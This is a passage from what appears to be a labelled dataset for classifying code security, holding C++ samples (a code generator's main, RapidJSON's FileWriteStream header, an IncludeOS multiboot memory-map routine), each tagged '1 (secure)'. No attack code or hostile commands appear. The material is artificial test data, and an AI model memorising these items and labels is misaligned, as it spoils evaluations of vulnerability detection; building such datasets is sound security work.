| | for (int j = 2 ; j < i-1 ; j++) |
| | ss << ""v"" << j << "", ""; |
| | ss << ""v"" << i-1 << "")"" << endl; |
| | } |
| | |
| | cout << ss.str() << endl; |
| | } |
| |
|
| | int main(int argc, char** argv) |
| | { |
| | int max_args = 64; |
| | build_code(max_args); |
| | |
| | return 0; |
| | }",1 (secure) |
| | "#ifndef RAPIDJSON_FILEWRITESTREAM_H_ |
| | #define RAPIDJSON_FILEWRITESTREAM_H_ |
| |
|
| | #include ""stream.h"" |
| | #include <cstdio> |
| |
|
| | #ifdef __clang__ |
| | RAPIDJSON_DIAG_PUSH |
| | RAPIDJSON_DIAG_OFF(unreachable-code) |
| | #endif |
| |
|
| | RAPIDJSON_NAMESPACE_BEGIN |
| |
|
| | |
| | /*! |
| | \note implements Stream concept |
| | */ |
| | class FileWriteStream { |
| | public: |
| | typedef char Ch; |
| |
|
| | FileWriteStream(std::FILE* fp, char* buffer, size_t bufferSize) : fp_(fp), buffer_(buffer), bufferEnd_(buffer + bufferSize), current_(buffer_) { |
| | RAPIDJSON_ASSERT(fp_ != 0); |
| | } |
| |
|
| | void Put(char c) { |
| | if (current_ >= bufferEnd_) |
| | Flush(); |
| |
|
| | *current_++ = c; |
| | } |
| |
|
| | void PutN(char c, size_t n) { |
| | size_t avail = static_cast<size_t>(bufferEnd_ - current_); |
| | while (n > avail) { |
| | std::memset(current_, c, avail); |
| | current_ += avail; |
| | Flush(); |
| | n -= avail; |
| | avail = static_cast<size_t>(bufferEnd_ - current_); |
| | } |
| |
|
| | if (n > 0) { |
| | std::memset(current_, c, n); |
| | current_ += n; |
| | } |
| | } |
| |
|
| | void Flush() { |
| | if (current_ != buffer_) { |
| | size_t result = std::fwrite(buffer_, 1, static_cast<size_t>(current_ - buffer_), fp_); |
| | if (result < static_cast<size_t>(current_ - buffer_)) { |
| | |
| | |
| | } |
| | current_ = buffer_; |
| | } |
| | } |
| |
|
| | |
| | char Peek() const { RAPIDJSON_ASSERT(false); return 0; } |
| | char Take() { RAPIDJSON_ASSERT(false); return 0; } |
| | size_t Tell() const { RAPIDJSON_ASSERT(false); return 0; } |
| | char* PutBegin() { RAPIDJSON_ASSERT(false); return 0; } |
| | size_t PutEnd(char*) { RAPIDJSON_ASSERT(false); return 0; } |
| |
|
| | private: |
| | |
| | FileWriteStream(const FileWriteStream&); |
| | FileWriteStream& operator=(const FileWriteStream&); |
| |
|
| | std::FILE* fp_; |
| | char *buffer_; |
| | char *bufferEnd_; |
| | char *current_; |
| | }; |
| |
|
| | |
| | template<> |
| | inline void PutN(FileWriteStream& stream, char c, size_t n) { |
| | stream.PutN(c, n); |
| | } |
| |
|
| | RAPIDJSON_NAMESPACE_END |
| |
|
| | #ifdef __clang__ |
| | RAPIDJSON_DIAG_POP |
| | #endif |
| |
|
| | #endif |
| | " |
| | |
| | #include <os> |
| | #include <kernel.hpp> |
| | #include <kprint> |
| | #include <boot/multiboot.h> |
| | #include <kernel/memory.hpp> |
| | |
| | //#define DEBUG_MULTIBOOT |
| | #ifdef DEBUG_MULTIBOOT |
| | #undef debug |
| | #define debug(X,...) kprintf(X,##__VA_ARGS__); |
| | #define MYINFO(X,...) kprintf(""<Multiboot>"" X ""\n"", ##__VA_ARGS__) |
| | #undef INFO2 |
| | #define INFO2(X,...) kprintf(""\t"" X ""\n"", ##__VA_ARGS__) |
| | #else |
| | #define debug(X,...) |
| | #define MYINFO(X,...) INFO(""Kernel"", X, ##__VA_ARGS__) |
| | #endif |
| | |
| | using namespace util::bitops; |
| | using namespace util::literals; |
| | extern uintptr_t _end; |
| | #if defined(ARCH_aarch64) |
| | uint32_t dummy[24]; |
| | uintptr_t __multiboot_addr=(uintptr_t)&dummy[0]; |
| | #else |
| | extern uint32_t __multiboot_addr; |
| | #endif |
| | |
| | static inline multiboot_info_t* bootinfo(uint32_t addr) |
| | { |
| | // NOTE: the address is 32-bit and not a pointer |
| | return (multiboot_info_t*) (uintptr_t) addr; |
| | } |
| | |
| | multiboot_info_t* kernel::bootinfo() |
| | { |
| | return (multiboot_info_t*) (uintptr_t) __multiboot_addr; |
| | } |
| | |
| | uintptr_t _multiboot_memory_end(uintptr_t boot_addr) { |
| | auto* info = bootinfo(boot_addr); |
| | if (info->flags & MULTIBOOT_INFO_MEMORY) { |
| | return 0x100000 + (info->mem_upper * 1024); |
| | } |
| | return os::Arch::max_canonical_addr; |
| | } |
| | |
| | // Deterimine the end of multiboot provided data |
| | // (e.g. multiboot's data area as offset to the _end symbol) |
| | uintptr_t _multiboot_free_begin(uintptr_t boot_addr) |
| | { |
| | const auto* info = bootinfo(boot_addr); |
| | uintptr_t multi_end = reinterpret_cast<uintptr_t>(&_end); |
| |
|
| | debug(""* Multiboot begin: 0x%x \n"", info); |
| | if (info->flags & MULTIBOOT_INFO_CMDLINE |
| | and info->cmdline > multi_end) |
| | { |
| | debug(""* Multiboot cmdline @ 0x%x: %s \n"", info->cmdline, (char*)info->cmdline); |
| | |
| | Expects(info->cmdline > multi_end |
| | or info->cmdline < 0x100000); |
| |
|
| | if (info->cmdline > multi_end) { |
| | auto* cmdline_ptr = (const char*) (uintptr_t) info->cmdline; |
| | |
| | |
| | const uintptr_t cmdline_end = info->cmdline + strlen(cmdline_ptr) + 1; |
| | if (cmdline_end > multi_end) multi_end = cmdline_end; |
| | } |
| | } |
| |
|
| | debug(""* Multiboot end: 0x%x \n"", multi_end); |
| | if (info->mods_count == 0) { |
| | return multi_end; |
| | } |
| |
|
| | auto* mods_list = (multiboot_module_t*) (uintptr_t) info->mods_addr; |
| | debug(""* Module list @ %p \n"",mods_list); |
| |
|
| | for (auto* mod = mods_list; mod < mods_list + info->mods_count; mod ++) |
| | { |
| | debug(""\t * Module @ %#x \n"", mod->mod_start); |
| | debug(""\t * Args: %s \n "", (char*) (uintptr_t) mod->cmdline); |
| | debug(""\t * End: %#x \n "", mod->mod_end); |
| |
|
| | if (mod->mod_end > multi_end) |
| | multi_end = mod->mod_end; |
| | } |
| |
|
| | debug(""* Multiboot end: 0x%x \n"", multi_end); |
| | return multi_end; |
| | } |
| |
|
| | void kernel::multiboot_mmap(void* start, size_t size) |
| | { |
| | const gsl::span<multiboot_memory_map_t> mmap { |
| | (multiboot_memory_map_t*) start, |
| | (int) (size / sizeof(multiboot_memory_map_t)) |
| | }; |
| |
|
| | for (const auto& map : mmap) |
| | { |
| | const char* str_type = map.type & MULTIBOOT_MEMORY_AVAILABLE ? ""FREE"" : ""RESERVED""; |
| | const uintptr_t addr = map.addr; |
| | const uintptr_t size = map.len; |
| | INFO2("" 0x%010zx - 0x%010zx %s (%zu Kb.)"", |
| | map.addr, map.addr + map.len - 1, str_type, map.len / 1024 ); |
| |
|
| | if ((map.type & MULTIBOOT_MEMORY_AVAILABLE) == 0) |
| | { |
| | if (util::bits::is_aligned<4_KiB>(map.addr)) { |
| | os::mem::map({addr, addr, os::mem::Access::read | os::mem::Access::write, size}, |
| | ""Reserved (Multiboot)""); |
| | continue; |
| | } |
| | |
| | os::mem::vmmap().assign_range({map.addr, map.addr + map.len-1, ""Reserved (Multiboot)""}); |
| | } |
| | else |
| | { |
| | |
| | } |
| | } |
| | }",1 (secure) |